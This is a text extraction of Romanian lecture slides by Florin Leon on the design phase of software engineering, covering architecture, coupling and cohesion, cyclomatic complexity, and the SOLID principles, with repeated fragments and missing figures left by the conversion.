Sunteți pe pagina 1din 112

Ingineria programării

Ingineria program ării 4. Faza de proiectare Florin Leon Universitatea Tehnic ă „ Gheorghe Asachi” din

4. Faza de proiectare

Florin Leon

Universitatea Tehnică Gheorghe Asachi” din Iaşi Facultatea de Automatică şi Calculatoare

http://florinleon.byethost24.com/curs_ip.htm

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare

6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare

6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Simplitate şi complexitate

Simplitate şi complexitate  Sunt două moduri de a proiecta un produs software. Primul este de
Simplitate şi complexitate  Sunt două moduri de a proiecta un produs software. Primul este de

Sunt două moduri de a proiecta un produs software. Primul este de a-l face atât de simplu încât este evident

că nu există deficienţe. Al doilea este de a-l face atât de

complicat încât nu există deficienţe evidente. Prima metodă este mult mai dificilă. (Hoare, 1981)

4

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Proiectarea şi programarea

Proiectarea şi programarea  Lipsa unei proiectări coerente conduce la scrierea de cod haotic  Cu

Lipsa unei proiectări coerente conduce la scrierea de cod haotic

Cu cât te apuci mai repede să scrii cod, cu atât termini mai târziu

Programarea are şi elemente de proiectare

Programarea este un act creativ, nu mecanic

Verifică deciziile de proiectare şi umple golurile

5

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Nivelurile proiectării

Arhitectura sistemului

Nivelurile proiectării  Arhitectura sistemului  Identificarea subsistemelor principale şi a modului în care

Identificarea subsistemelor principale şi a modului în

care comunică acestea

Are un impact major asupra performanţelor şi caracteristicilor sistemului

Module / componente

Partiţionarea subsistemelor (un modul poate însemna un namespace, un pachet, o bibliotecă de funcţii etc.)

Interfeţele publice (contracte)

6

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Nivelurile proiectării

Clase şi tipuri de date

Nivelurile proiectării  Clase şi tipuri de date  Proiectare mai puţin formală, mai uşor de

Proiectare mai puţin formală, mai uşor de schimbat

Tot trebuie să existe o fază distinctă de proiectare

Funcţii / metode

Mai degrabă un exerciţiu mental decât o procedură

documentată

Proiectarea explicită este necesară pentru algoritmi deosebiţi

7

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Calitatea proiectării

Presiunea comercială

Nu este niciodată timp să se

proiecteze corect, dar e întotdeauna

timp să se proiecteze de două ori

Codul proiectat corect este:

Mai uşor de scris

Mai uşor de înţeles

Mai uşor de corectat

Cu mai puţine defecte

(erorile nu sunt ascunse)

Mai uşor de extins

defecte (erorile nu sunt ascunse)  Mai uşor de extins 8 Florin Leon, Ingineria programarii,
defecte (erorile nu sunt ascunse)  Mai uşor de extins 8 Florin Leon, Ingineria programarii,

8

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Proiectarea corectă: întrebări

Proiectarea corect ă: întrebări  Pentru orice problemă există mai multe variante de proiectare  Va

Pentru orice problemă există mai multe variante de proiectare

Va funcţiona?

Deseori apar probleme neprevăzute

Este completă?

Abia când se încearcă implementarea soluţiei se înţelege de fapt problema

Este cea mai bună soluţie?

Este suficient de bună?

Pentru orice problemă se fac compromisuri

Performanţele se pot observa doar când sistemul este funcţional

9

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Compromisuri

Extensibilitate vs. simplitate

Compromisuri  Extensibilitate vs. simplitate  Niveluri suplimentare de generalitate  Eficienţă vs. claritate

Niveluri suplimentare de generalitate

Eficienţă vs. claritate

Creşterea cuplării pentru evitarea accesului indirect

Sistemele optimizate sunt mai puţin clare

Număr de trăsături vs. efort de dezvoltare

Mai multe trăsături au nevoie de mai mult efort

Prioritizarea depinde de cerinţele proiectului

10

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Abordarea recomandată

Iterativă

Proiectare incrementală

Prudentă

 Iterativă  Proiectare incrementală  Prudentă  Paşi mici, num ă r limitat de decizii,

Paşi mici, număr limitat de decizii, localizarea erorilor

Realistă

Aplicarea metodologiilor dar şi utilizarea experienţei

Rezultatul depinde de calitatea specificaţiilor, experienţa echipei şi rigoarea aplicării procedurilor

Informată

Trebuie înţelese complet cerinţele şi principiile problemei

Altfel, se poate rezolva altă problemă

11

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Caracteristicile unei proiectări

de calitate (I)

Simplitatea

unei proiectări de calitate (I)  Simplitatea  Cea mai importantă  Dimensiune redusă a codului

Cea mai importantă

Dimensiune redusă a codului

Codul bine proiectat pare evident, dar e greu de realizat

Eleganţa

Aspect estetic

Fluxul de control este clar

Fiecare componentă adaugă ceva distinct

Lucrurile asemănătoare sunt asociate

Schimbările sunt localizate

Extensibilitatea

Structură logică şi maleabilă

Interfeţe, plug-in-uri dinamice

Echilibru: ce trebuie acum ce va trebui în viitor – ce ar putea să trebuiască în viitor

12

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Caracteristicile unei proiectări

de calitate (II)

Modularitatea

Calitatea descompunerii

Lipsa duplicărilor

 Calitatea descompunerii  Lipsa duplicărilor  Copy-paste , apoi schimbările nu se fac în toate

Copy-paste, apoi schimbările nu se fac în toate cazurile

Reinventarea roţii

Generalizare: superclase, metode cu parametri

Portabilitatea

Nu trebuie compromisă calitatea codului dacă portabilitatea nu este necesară

Abstractizarea secţiunilor neportabile (care depind de SO sau hardware)

Proiectare idiomatică

C++: RAII (Resource Acquisition Is Initializaton), supraîncărcarea operatorilor

C#: proprietăţi

Proiectare bine documentată: specificaţii ale arhitecturii, API

13

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Metode de proiectare

Talent vs. învăţare

Metode de proiectare  Talent vs. învăţare  Proiectarea se învaţă  Necesită învăţarea principiilor

Proiectarea se învaţă

Necesită învăţarea principiilor pentru evitarea greşelilor şi apoi

experienţă practică

Proiectarea structurată

Descompunere funcţională

Presupune determinarea unei ierarhii de rutine

Abordări top-down, bottom-up sau aplicarea lor în tandem

Proiectarea orientată obiect

Gestionează complexitatea unor probleme mult mai mari

Presupune identificarea obiectelor, comportamentelor şi interacţiunilor

14

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Alte metode şi procese

Notaţii

De exemplu diagrame UML

Comunicare mai concisă

Documentare formală

Scheme logice

Pseudocod

Proiectare în cod

 Scheme logice  Pseudocod  Proiectare în cod Trebuie păstrată sincronizarea cu codul  Metode-

Trebuie păstrată sincronizarea cu codul

Proiectare în cod Trebuie păstrată sincronizarea cu codul  Metode- prototip, fără implementare efectivă 

Metode-prototip, fără implementare efectivă

Instrumente CASE (“Computer-Aided Software Engineering”)

Conversii bidirecţionale între diagrame şi cod

Instrumente RAD (“Rapid Application Development”)

15

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare

6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitecţii software

Arhitecţii software  Se poate face o paralelă cu ingineria construcţiilor  Ingineria programării este mult

Se poate face o paralelă cu ingineria construcţiilor

Ingineria programării este mult mai recentă

Responsabilitate mare

Arhitecţii din construcţii au studii formale

Arhitecţii software se bazează mai mult pe experienţă

Pot fi:

Iniţiatorii proiectului (grup restrâns), la începutul ciclului de dezvoltare

Programatorii (pentru proiecte mai simple)

17

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura

Orice sistem are o arhitectură

Arhitectura  Orice sistem are o arhitectură  Chiar dacă nu este planificată  Lipsa unei

Chiar dacă nu este planificată

Lipsa unei arhitecturi corecte conduce deseori la eşecul proiectului

Arhitectura reprezintă proiectarea de nivel înalt

Prezentare generală, macro, a sistemului

Detaliile de implementare sunt ascunse

18

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Componente şi conexiuni

Componentele

Componente şi conexiuni  Componentele  Unităţile logice ale sistemului: clase, procese, biblioteci, baze de

Unităţile logice ale sistemului: clase, procese,

biblioteci, baze de date etc.

În mod ideal, o componentă îndeplineşte un singur scop (sau activitate)

Conexiunile

Apeluri de funcţii, evenimente, mesaje ale sistemului de operare sau din reţea (sincrone sau asincrone)

Unele comunicaţii sunt indirecte (de exemplu prin resurse partajate: variabile, fişiere)

19

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Rolul arhitecturii

Rolul arhitecturii  Identifică modulele cheie şi módul în care interacţionează ele  Nu cum

Identifică modulele cheie şi módul în care interacţionează ele

Nu cum funcţionează intern

Identifică interfeţele importante

Clarifică rolurile şi responsabilităţile subsistemelor

Primul pas în trecerea de la domeniul problemei către domeniul soluţiei

De exemplu: la analiză – sistem distribuit; la proiectare – număr de maşini şi cum îşi vor împărţi sarcinile

Compromis:

Informaţii în arhitectură vs. flexibilitate în fazele ulterioare

Arhitectura influenţează:

Modul de lucru al echipelor (3 straturi 3 echipe)

Evoluţia produsului (reflectă capacitatea de adaptare a produsului la noi

cerinţe)

20

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Utilitatea arhitecturii (I)

Validare

Utilitatea arhitecturii (I)  Validare  Cerinţele sunt fezabile  Structura internă a sistemului este

Cerinţele sunt fezabile

Structura internă a sistemului este coerentă

Sunt incluse toate piesele necesare

Nu există duplicări şi redundanţe

Modulele se potrivesc

Comunicare

Disponibilă pentru toţi, înţeleasă de toţi

(la fel ca viziunea asupra sistemului)

Asigurarea integrităţii conceptuale

21

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Utilitatea arhitecturii (II)

Reutilizare

Utilitatea arhitecturii (II)  Reutilizare  Creşte productivitatea, scade costurile  Ajută reutilizarea

Creşte productivitatea, scade costurile

Ajută reutilizarea pentru familiile de produse

Specifică ce este fix şi ce este variabil

Construcţie şi evoluţie

Partiţionare (pentru diferite echipe)

Părţile independente pot fi construite independent

Unde pot fi adăugate noi trăsături cu efort minim şi

care este impactul asupra restului sistemului

22

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Calitatea arhitecturii

Simplă, uşor de înţeles, reprezentabilă vizual

Clară, fără ambiguităţi

Număr optim de componente

Clară, fără ambiguităţi  Număr optim de componente  Prea multe: prea multe detalii  Prea

Prea multe: prea multe detalii

Prea puţine: fiecare componentă face prea mult (dificil de extins și întreţinut)

Flexibilă, extensibilă, dar nu exagerat de generală

Consecinţă: aspect estetic plăcut

23

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Arhitectura şi marketingul

Arhitectura şi marketingul  Trebuie luate în considerare cerinţele de marketing  Oportunităţile de afaceri

Trebuie luate în considerare cerinţele de marketing

Oportunităţile de afaceri

Strategia de vânzare şi licenţiere

Poziţia pe piaţă

Marketing-ul poate adăuga noi trăsături

De exemplu securitatea, prevenirea fraudelor

Calitatea arhitecturii contează

Chiar dacă utilizatorii nu sunt interesaţi de structura internă a produsului, o arhitectură flexibilă anticipează şi poate

gestiona mai ușor cerinţele viitoare ale clienţilor

24

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare 6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Interfeţele

Interfeţele  Modú l: parte separabilă logic a unui program  Legea lui Conway: structura software-ului

Modúl: parte separabilă logic a unui program

Legea lui Conway: structura software-ului poate urma structura echipei

structura software-ului poate urma structura echipei  Interfaţa unui modul: faţada publică în spatele

Interfaţa unui modul: faţada publică în spatele căreia sunt

ascunse detaliile interne

Tipuri de interfeţe: biblioteci, clase, funcţii, structuri de date, interfeţe cu sistemul de operare, protocoale de comunicare în

reţea

Nu se referă doar la conceptul de interfaţă (interface) din programare

Mulţimea de operaţii disponibile = API (“Application Programming Interface”)

Proiectarea defectuoasă nu pune operaţiile în locul potrivit

26

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea

Cuplarea  Forţa interconexiunilor (interdependenţei) dintre module  Cât trebuie să ştim despre un modul

Forţa interconexiunilor (interdependenţei) dintre module

Cât trebuie să ştim despre un modul pentru a-l

înţelege pe celălalt

În ce măsură modificările unui modul îl afectează pe

celălalt

27

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Niveluri de cuplare

Cuplare prin conţinut

Cuplare prin date comune

Cuplare prin control

Cuplare prin marcaj

Cuplare prin date

prin control  Cuplare prin marcaj  Cuplare prin date 28 Florin Leon, Ingineria programarii,
prin control  Cuplare prin marcaj  Cuplare prin date 28 Florin Leon, Ingineria programarii,

28

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea prin conţinut

Modulele partajează codul: se poate „sări” dintr-un modul în codul celuilalt modul

Limbajele moderne de programare nu permit acest lucru

 Limbajele moderne de programare nu permit acest lucru 29 Florin Leon, Ingineria programarii,

29

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea prin date comune

Cuplarea prin date comune  Modulele referenţiază aceeaşi structură de date globală sau aceleaşi variabile

Modulele referenţiază aceeaşi structură de date globală sau aceleaşi variabile globale

structură de date globală sau aceleaşi variabile globale Structura de date comună este customer record 30
structură de date globală sau aceleaşi variabile globale Structura de date comună este customer record 30
structură de date globală sau aceleaşi variabile globale Structura de date comună este customer record 30

Structura de date comună este customer record

30

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea prin control

Cuplarea prin control  Un modul trimite celuilalt modul o variabilă de control care îi determină

Un modul trimite celuilalt modul o variabilă de control care îi determină fluxul de execuţie

de control care îi determină fluxul de execuţie 31 Florin Leon, Ingineria programarii,
de control care îi determină fluxul de execuţie 31 Florin Leon, Ingineria programarii,
de control care îi determină fluxul de execuţie 31 Florin Leon, Ingineria programarii,

31

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea prin marcaj

Un modul trimite celuilalt modul o structură de date ca parametru

trimite celuilalt modul o structură de date ca parametru Structura de date trimisă este current record
trimite celuilalt modul o structură de date ca parametru Structura de date trimisă este current record

Structura de date trimisă

este current record

parametru Structura de date trimisă este current record 32 Florin Leon, Ingineria programarii,

32

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplare prin date

Cuplare prin date  Un modul trimite celuilalt modul variabile ca parametri 33 Florin Leon, Ingineria

Un modul trimite celuilalt modul variabile ca parametri

 Un modul trimite celuilalt modul variabile ca parametri 33 Florin Leon, Ingineria programarii,
 Un modul trimite celuilalt modul variabile ca parametri 33 Florin Leon, Ingineria programarii,

33

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Factori ce afectează cuplarea

Factori ce afectează cuplarea  Gradul de cuplare dintre două module depinde de complexitatea interfaţării lor

Gradul de cuplare dintre două module depinde de complexitatea interfaţării lor Scop: cuplare slabă

Minimizarea numărului de interfeţe ale unui modul

Minimizarea complexităţii interfeţelor (numărul de parametri)

Trimiterea ca parametri numai a câmpurilor necesare (nu a întregului obiect)

Evitarea comunicaţiilor hibride: date şi control

34

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Factori ce afectează cuplarea

Factori ce afectează cuplarea Coupling 35 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coupling

Factori ce afectează cuplarea Coupling 35 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

35

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea în sisteme OO (I)

Cuplarea prin interacţiune

Dintr-o metodă a unei clase se apelează altă metodă din altă clasă Dintr-  Accesarea secţiunilor interne Accesarea secţiunilor interne

Conceptul de friend din C++ violează principiul

încapsulării

de friend din C++ violează principiul încapsulării Folosirea câmpurilor pentru a stoca date temporare şi nu

Folosirea câmpurilor pentru a stoca date temporare şi nu starea obiectelor temporare şi nu starea obiectelor

 Metodele comunică direct prin parametri

Metodele comunică direct prin parametri

Sunt trimise numai date şi numai variabilele necesare

36

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea în sisteme OO (II)

Cuplarea prin compunere

Cuplarea în sisteme OO (II)  Cuplarea prin compunere  O clasă foloseşte instanţe ale altor

O clasă foloseşte instanţe ale altor clase

Câmpuri, parametri: cuplare mai slabă

Variabile locale (invizibile din exterior): cuplare mai puternică

Cuplarea cu o clasă A înseamnă cuplarea potenţială cu toate subclasele lui A

37

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Cuplarea în sisteme OO (III)

Cuplarea prin moştenire

Cuplarea în sisteme OO (III)  Cuplarea prin moştenire  Moştenirea poate reduce cuplarea generală din

Moştenirea poate reduce cuplarea generală din sistem

A cuplată cu B, B are subclasele C, D

Dacă o metodă m este „ridicată” din C şi D în B,

A va fi cuplată numai cu B, nu cu C şi D

Pot fi adăugate fără probleme noi subclase ale lui B

 Pot fi adăugate fără probleme noi subclase ale lui B  Cuplarea minimă are loc

Cuplarea minimă are loc când clasele derivate nu modifică metodele moştenite, ci doar adaugă noi câmpuri şi metode

38

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea

Coeziunea  Cât de apropiate sunt elementele aceluiaşi modul  Scop: coeziune puternică  În general,

Cât de apropiate sunt elementele aceluiaşi modul

Scop: coeziune puternică

În general, o coeziune puternică este corelată cu o cuplare slabă

Coeziunea unui modul este maximul de coeziune aplicabil tuturor elementelor acestuia

39

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Niveluri de coeziune

Niveluri de coeziune  Coeziune î ntâmplătoare ( prin coincidenţă)  Coeziune l ogică  Coeziune

Coeziune întâmplătoare (prin coincidenţă)

Coeziune logică

Coeziune temporală

Coeziune procedurală

Coeziune comunicaţională

Coeziune secvenţială

Coeziune funcţională

 Coeziune s ecvenţială  Coeziune f uncţională 40 Florin Leon, Ingineria programarii,

40

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea întâmplătoare

(prin coincidenţă)

Un modul creat doar pentru a evita duplicarea codului din mai multe secţiuni

Module rezultate prin partiţionarea

artificială a altor module (de exemplu, conform criteriului ca un modul să respecte un număr maxim permis de

instrucţiuni)

modul să respecte un număr maxim permis de instrucţiuni)  Mai multe module au fost combinate
modul să respecte un număr maxim permis de instrucţiuni)  Mai multe module au fost combinate

Mai multe module au fost combinate pentru a reduce numărul modulelor din program sau pentru a respecta un număr

minim de instrucţiuni pe modul

41

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea logică

Un modul conţine funcţii care aparţin aceleiaşi clase logice,

adică toate elementele sale

realizează operaţii similare

De exemplu tratarea tuturor intrărilor / ieşirilor

E nevoie de o variabilă de control

care să determine ce instrucţiuni se execută în fiecare caz (informaţii hibride, cuplarea

creşte)

în fiecare caz (informaţii hibride, cuplarea creşte) 42 Florin Leon, Ingineria programarii,
în fiecare caz (informaţii hibride, cuplarea creşte) 42 Florin Leon, Ingineria programarii,

42

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea temporală

Coeziune a temporală  Coeziunea temporală poate fi privită ca un tip de coeziune logică în

Coeziunea temporală poate fi privită ca un tip de coeziune

logică în care timpul este

elementul comun

Modulele conţin funcţii asociate în timp

De obicei, sunt module de

iniţializare sau finalizare

Elementele sunt executate în general toate împreună

 Elementele sunt executate în general toate împreună 43 Florin Leon, Ingineria programarii,

43

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea procedurală

Coeziunea p rocedurală  Modulele conţin funcţii care aparţin unei unităţi procedurale comune  De exemplu

Modulele conţin funcţii care aparţin unei unităţi procedurale comune

De exemplu unele părţi dintr-un

modul sunt puse într-un nou modul: un bloc de decizie mai mare sau un bloc iterativ sunt

plasate într-o altă metodă

Un modul poate avea doar părţi dintr-o funcţie completă

Un alt exemplu este funcţia main,

care execută celelalte funcţii într-o

anumită ordine (conform unei proceduri)

funcţii într -o anumită ordine (conform unei proceduri) Cuvântul and din numele funcţiei ne spune că

Cuvântul and din numele funcţiei ne spune că aceasta are două scopuri, nu unul

singur, cum ar fi de dorit

44

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea comunicaţională

Coeziunea c omunicaţională  Toate elementele unui modul operează cu aceleaşi date  De exemplu: găseşte

Toate elementele unui modul operează cu aceleaşi date

De exemplu: găseşte titlul unei

cărţi, respectiv autorul, editura, preţul

Acest tip de coeziune este

acceptabil, dar are

dezavantajul că asupra aceloraşi date se pot efectua operaţii neînrudite

asupra aceloraşi date se pot efectua operaţii neînrudite 45 Florin Leon, Ingineria programarii,

45

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea secvenţială

Coeziunea s ecvenţială  Un modul conţine elemente care depind de prelucrarea anterioară a altor elemente

Un modul conţine elemente care depind de prelucrarea

anterioară a altor elemente

Într-un modul, ieşirea unui element este intrarea altui element

un modul, ieşirea unui element este intrarea altui element Se calculează mai întâi total purchases şi

Se calculează mai întâi total purchases şi apoi discount

46

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea funcţională

Coeziunea f uncţională  Toate elementele unui modul sunt utilizate pentru efectuarea unui singure funcţii 47

Toate elementele unui modul

sunt utilizate pentru efectuarea

unui singure funcţii

modul sunt utilizate pentru efectuarea unui singure funcţii 47 Florin Leon, Ingineria programarii,

47

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Comparaţie

Comparaţie 48 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Comparaţie 48 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

48

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Coeziunea în sisteme OO

Coeziunea metodelor

Coeziunea în sisteme OO  Coeziunea metodelor  Fiecare metodă implementează o funcţie clar definită (coeziune

Fiecare metodă implementează o funcţie clar definită (coeziune funcţională)

Coeziunea claselor

De ce sunt împreună atributele şi operaţiile în aceeaşi clasă

O clasă reprezintă un concept

Dacă nu, metodele şi câmpurile pot fi partiţionate în mai multe clase

Coeziunea moştenirilor

Coeziunea este mare dacă ierarhia urmăreşte generalizarea- specializarea unui concept

Coeziunea este mică dacă scopul ierarhiei este partajarea codului

49

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare

6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Metrici de proiectare

Metrici de proiectare  Se aplică doar pentru proiectarea detaliată  Utile mai ales în faza

Se aplică doar pentru proiectarea detaliată

Utile mai ales în faza de implementare

Metrici:

Complexitatea ciclomatică

Metrica de coeziune

51

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Complexitatea ciclomatică

Ideea de bază:

Complexitatea ciclomatică  Ideea de bază:  Considerând două programe cu aceeaşi dimensiune, programul cu mai

Considerând două programe cu aceeaşi dimensiune, programul

cu mai multe instrucţiuni de decizie este probabil mai complex

Complexitatea ciclomatică: M = e n + 2p

n = numărul de noduri

e = numărul de arce

p = numărul de componente conexe (pentru un modul este 1)

Numărul ciclomatic: V(G) = e n + p

Dacă se adaugă un arc de la nodul final la nodul iniţial (astfel încât graful să devină tare conex), M = V(G)

52

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplul 1

Exemplul 1 M = 10 – 7 + 1 = 4 53 Florin Leon, Ingineria programarii,
Exemplul 1 M = 10 – 7 + 1 = 4 53 Florin Leon, Ingineria programarii,
Exemplul 1 M = 10 – 7 + 1 = 4 53 Florin Leon, Ingineria programarii,

M = 10 7 + 1 = 4

53

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplul 2

Exemplul 2  M = 7  M = 3 54 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

M = 7

Exemplul 2  M = 7  M = 3 54 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 2  M = 7  M = 3 54 Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

M = 3

54

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Efecte

Efecte  Complexitatea ciclomatică a unui modul este numărul de decizii + 1  Recomandare: M

Complexitatea ciclomatică a unui modul este numărul de decizii + 1

Recomandare: M < 10

M este o estimare a numărului de căi care

trebuie testate în faza de testare

Această metrică este corelată cu dimensiunea modulului şi cu numărul de defecte

55

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Metrica de coeziune (I)

Metrica de coeziune (I)  Ideea de bază este de a vedea cum sunt folosite variabilele

Ideea de bază este de a vedea cum sunt folosite variabilele unui modul de către codul modulului

Se construieşte graful fluxului de control al modulului

I este nodul iniţial

T este nodul final

Fiecare nod S i este adnotat cu variabilele pe care le referenţiază

Se utilizează acest graf pentru a calcula mulţimile de referinţe pentru fiecare variabilă: R i = mulţimea de noduri care referenţiază a i-a variabilă a modulului

56

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Metrica de coeziune (II)

Metrica de coeziune (II)  Pentru fiecare R i se calculează coeziunea:  unde:  dim(S)

Pentru fiecare R i se calculează coeziunea:

unde:

Pentru fiecare R i se calculează coeziunea:  unde:  dim(S) este numărul tuturor căilor independente

dim(S) este numărul tuturor căilor independente de la I la T care includ cel puţin o instrucţiune din mulţimea S

G este mulţimea tuturor instrucţiunilor din modul care

referenţiază cel puţin o variabilă

Dacă S = G, atunci dim(S) este complexitatea ciclomatică a modulului

Altfel, dim(S) este numărul de decizii din mulţimea de instrucţiuni + 1 (complexitatea ciclomatică a mulţimii)

57

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Metrica de coeziune (III)

Metrica de coeziune (III)  Coeziunea unui modul cu n variabile este:  Dacă un modul

Coeziunea unui modul cu n variabile este:

(III)  Coeziunea unui modul cu n variabile este:  Dacă un modul are o coeziune

Dacă un modul are o coeziune puternică, majoritatea variabilelor vor fi utilizate de instrucţiuni în majoritatea căilor din modulul respectiv

58

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu (acelaşi program) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm 59

Exemplu (acelaşi program)

Exemplu (acelaşi program) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm 59
Exemplu (acelaşi program) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm 59

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu (acelaşi program) Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm 59

59

Faza de proiectare

1. Introducere

2. Arhitectura software

3. Proiectarea modulelor

4. Metrici de proiectare

5. Principii de proiectare 6. Şabloane de proiectare

7. Concluzii

de proiectare 6. Şabloane de proiectare 7. Concluzii Florin Leon, Ingineria programarii,

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principii fundamentale

Principii fundamentale  Principiul deschis-închis  Principiul substituţiei  Principiul

Principiul deschis-închis

Principiul substituţiei

Principiul inversiunii dependenţelor

Principiul responsabilităţii unice

Principiul segregării interfeţelor

SOLID

S Single responsibility principle

O Open-closed principle

L Liskov substitution principle

I Interface segregation principle

D Dependency inversion principle

61

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Principiul deschis-închis

Principiul deschis-închis  O clasă trebuie să fie deschisă pentru extindere dar închis ă pentru modificări

O clasă trebuie să fie deschisă pentru extindere dar închisă pentru modificări (Bertrand Meyer, 1998)

62

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Exemplu: problemă

Exemplu: problemă Se adaugă alte forme geometrice 63 Florin Leon, Ingineria programarii,
Exemplu: problemă Se adaugă alte forme geometrice 63 Florin Leon, Ingineria programarii,

Se adaugă

alte forme

geometrice

Exemplu: problemă Se adaugă alte forme geometrice 63 Florin Leon, Ingineria programarii,
Exemplu: problemă Se adaugă alte forme geometrice 63 Florin Leon, Ingineria programarii,
Exemplu: problemă Se adaugă alte forme geometrice 63 Florin Leon, Ingineria programarii,

63

